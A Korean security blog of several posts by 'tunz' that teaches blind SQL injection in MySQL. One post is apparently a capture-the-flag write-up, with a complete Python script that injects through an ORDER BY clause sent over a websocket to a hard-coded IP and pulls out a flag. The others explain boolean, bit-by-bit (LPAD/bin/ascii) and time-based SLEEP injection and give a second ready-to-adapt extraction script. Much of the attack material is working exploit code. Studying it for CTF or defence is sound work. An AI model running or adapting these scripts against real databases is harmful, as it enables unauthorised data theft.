이번 문제의 핵심은 웹소켓을 이용한다는 점과, 그 후에는 간단한 블라인드 인젝션 문제이다.


웹소켓을 사용하기 위해선, 파이썬 웹소켓 모듈이 필요하다. 구글을 통해서 다운받는다.


그리고나면, desc와 asc를 넣어주는 부분이 있는데, 해당부분을 통해서 인젝션이 가능하다.


정렬을 할때, order by a desc, b asc

로 하게되면, a로 정렬한후, a가 같을때 b로 정렬하게 된다.

이 특징을 이용해서, by a desc, if(1=1,b,c) asc

로 넣어주게 되면 블라인드 인젝션이 가능하다.


상황에 따라 True와 False가 의미하는 결과가 다르기때문에, 주의해야한다.


from websocket import create_connection
import json
import pprint
import time
import sys
 
# Blind SQL injection
 
# setting
#toget = "database()"
#toget = "(select table_name from information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61 limit "+sys.argv[1]+",1)"
#toget = "(select column_name from information_schema.columns where table_name=0x666c61675f74626c limit "+sys.argv[1]+",1)"
#toget = "(select table_schema from information_schema.tables where table_name=0x666c61675f74626c limit "+sys.argv[1]+",1)"
toget = "(select `flag` from flag_db.flag_tbl limit 0,1)"
stage = 2
 
print "[*] Stage1: Find Length of " + toget
ws = create_connection("ws://1.234.27.139:38090/banking?p=list")
 
answer = ""
length=0
j = 1
k = 0
m = 1
i = 0
while j <= stage:
        if j is 1:
                query = "{\"cmd\":\"list_init\", \"o\":\"balance\", \"b\":\"desc ,if(length("+toget+")="+str(k)+",`user`,`balance`) limit 0,1-- \"}"
        else:
                query = "{\"cmd\":\"list_init\", \"o\":\"balance\", \"b\":\"desc ,if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1)=1,`user`,`balance`) limit 0,1-- \"}"
 
        ws.send(query)
        result = json.loads(ws.recv())
        pprint.pprint(result)
        result2 = json.loads(result["m"])
        #print result2[0]['user']
        if j is 1:
                print "now: "+str(k)
                if result2[0]['user'] == "!!":
                        length = k
                        print "[+] Length: " + str(length)
                        #print data
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                if k is 100:
                        print "[-] NotFound"
                        break
                k = k+1
        else:
                if result2[0]['user'] == "!!":
                        i += pow(2,8-m)
                        print str(m)+" "+str(i)
                if m is 8:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0
                        m=1
                        if k > length:
                                break
                        else:
                                continue
                m = m+1
 
print "Answer:" +answer
ws.close()



posted by tunz

(Only mysql)


Blind SQL injection은 아무래도 브루트포싱이다보니, 한글자를 알아내기까지 많은 쿼리를 보내야합니다.

빠릿빠릿한 서버라면, 별 상관없을수도 있지만. 느린서버를 공략할때는 너무 답답합니다.

하지만, LPAD,bin,ascii와 같은 함수들을 이용하면, 쿼리의 횟수를 확 줄일수 있습니다.


기존의 방법대로라면 한글자를 알아내기까지 최대 약 70개정도의 쿼리를 보내야 한다면.

이 방법을 사용했을땐, 8번의 쿼리만으로 글자를 알아낼수 있습니다.


함수들을 설명해드리면,

ascii는 캐릭터를 숫자로 변환하는 함수입니다.

ex) 'A' -> 65, 'a' -> 94, '0' ->48


bin은 숫자를 2진법 형태의 스트링으로 변환하는 함수입니다.

ex) 12 -> '1100', 65->'1000001'


LPAD는 글자수를 맞춰주고, 모자란만큼 왼쪽에 특정 스트링을 채워넣는 함수입니다. (아마 Left Padding의 약자인것 같습니다.)

LPAD(스트링,글자수,채울 스트링)

ex) LPAD('1',8,0) -> '00000001', LPAD('1010',8,0) -> '00001010'

그래서 항상 글자수를 8글자로 유지해주는 함수입니다.


대충 감이 오실겁니다.


이 방법은,

1. 글자 하나를 substring 해온다.

2. substring해온 글자를 숫자로 바꾼다.

3. 바꾼 숫자를 2진법으로 바꾼다.

4. 8글자로 맞춰준다.


그래서 8글자를 하나하나 확인함으로써, 한글자를 알아낼수 있는것이죠.


처음 봤을때 정말 감탄했던 방법입니다.


예제 python 코드를 보여드리겠습니다.

Time-based Blind SQL Injection을 혼합한 형태입니다.

(살짝 수정을해서, 복붙하면 제대로 돌아갈지는 모르겠네요.)


import httplib,urllib;

import time


# Blind SQL injection


# setting

conn = httplib.HTTPConnection("www.??????.com",80)

conn.connect()

toget = '[타겟 컬럼]'

answer = ""

length=[글자 길이]

k = 1

m = 1

i = 0

while 1:

        query = "if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1) = '1',SLEEP(2),1)"

        t1 = time.time()

        params = urllib.urlencode({'id':query,'pw':'abc'})

        conn.putrequest('GET','/?????/??????.php?'+params)

        conn.endheaders()

        response = conn.getresponse()

        data = response.read()

        t2 = time.time()

        if (t2-t1) >= 2: # if it is true

                i += pow(2,8-m)

                print str(m)+" "+str(i)

        if m is 8:

                answer = answer+chr(i)

                print "Find: " + answer

                k = k+1

                i=0

                m=1
                if k > length:
                        break
                else:
                        continue
        m = m+1

print "Answer:" +answer
conn.close()


posted by tunz

이번에도 문법은 MySQL 기준으로 설명하겠습니다.


Blind SQL injection을 할때, True or False에 따라 결과값이 달라진다면, 간단히 해낼수있지만.

True or False에 따른 화면 결과값이 달라지지 않을때가 있습니다.


그럴땐 if함수와 sleep함수를 이용하면 됩니다.

그리고, 시간을 재야하기 때문에 파이썬등의 스크립트를 이용한 공격이 필수라고 생각됩니다..


Sleep은 대부분 아실텐데, sleep(x) 라면, x초간 멈추는겁니다.


그리고 if함수의 구성을 보자면,

if(조건,참일때 결과값,거짓일때 결과값)

입니다.


그래서 참일때, sleep(x)을 걸고, 요청을 보내서 response가 x초 이후에 도착했다면, True라고 판단하면 됩니다.

물론, 평소의 response가 오기까지 얼마나 걸리는지 알아두고, 적당한 x값을 넣어야겠죠. 


그리고 이 방법은 Insert문에서도 사용이 가능합니다.


insert into ~~ (c1, c2, c3) values (~,~,if(substr((select key from key_table),1,1) = 'a', SLEEP(4), 1));

대충 이런식으로, 인젝션이 가능합니다.

posted by tunz

SQL Blind Injection

Computer Security/Web 2013.01.15 22:09

제가 여기저기서 조금조금씩 주워듣고 해본것들을 정리하는것이기 때문에, 일반적인 용어가 아닐수도 있습니다.

그리고, 문법은 MySQL을 기준으로 설명하겠습니다. (물론, 다른 SQL에서도 문법만 조금 달리하여 사용 가능합니다.)


Blind Injection이란 True or False의 결과값을 이용하여 DB의 내용을 알아내는 기술을 말합니다.


예를 들어서 설명을 해보겠습니다.


어떤 테이블이 있고, search 기능을 통해 특정한 num을 불러오는 기능이 있다고 할때


그 search의 쿼리문은 

select * from table where num=[원하는 번호] 

대충 이런형태 일것입니다.


그러면, 만약 원하는번호에


"1 and 1=1 #" 를 넣는다면,

select * from table where num=1 and 1=1 #

이 되어, 1=1의 부분은 항상 True이기 떄문에, 그냥 무시하고 원래 결과가 나올것입니다.


그럼 만약, "1 and 1=2 #"

을 넣는다면

select * from table where num=1 and 1=2 # 

이 되어, 항상 False가 됩니다.

그렇다면 아무 테이블도 출력하지 않겠죠.


바로 이 현상을 이용하는게 blind injection 입니다.


저 1=1,1=2 부분에 length(`pw`)=1, length(`pw`)=2, length(`pw`)=3, ... 이런식으로 하나씩 넣어본다면, num=1인 레코드의 pw컬럼의 값의 길이를 알수 있게됩니다.


그리고, substr(`pw`,1,1)='a', substr(`pw`,1,1)='b' ... 이런식으로 브루트포스 식으로 한글자 한글자씩 알아내는 작업을 할수 있습니다.


substr 함수는 어떤 스트링의 일부분만 잘라내는 함수입니다.

substr(스트링,어디서부터,몇개) 의 형식입니다.

그래서, substr('abc',1,1)='a' , substr('abc',2,1)='b' , substr('abc',3,1)='c' 이런식으로 사용되는 함수입니다.


저 스트링 자리에 컬럼의 이름을 써넣게 된다면, 해당 줄에 있는 그 컬럼에 해당하는 내용이 나오게 됩니다.


 num

id 

pw 

 1

hello 

what 

 2

hi 

who 

이런 테이블이 있을때,



search * from table where num=1 and substr(`pw`,1,1)='w' #

이런식의 쿼리를 보내면, True가 된다는거죠.

결국, True일때는 리스트에 첫번째줄만 나타날것이고,

False 일때는 리스트에 아무것도 나타나지 않을것입니다.


그래서 만약 true가 됐을때와 False가 됐을때 화면에 표시되는 내용이 다르다면.

이런 이런 방법을 이용해서 숨겨진 필드의 내용을 알아낼수 있습니다.


그리고 보통, 이런 작업을 수작업으로 하면 힘들기 때문에, 보통 파이썬등의 스크립트를 이용합니다.

posted by tunz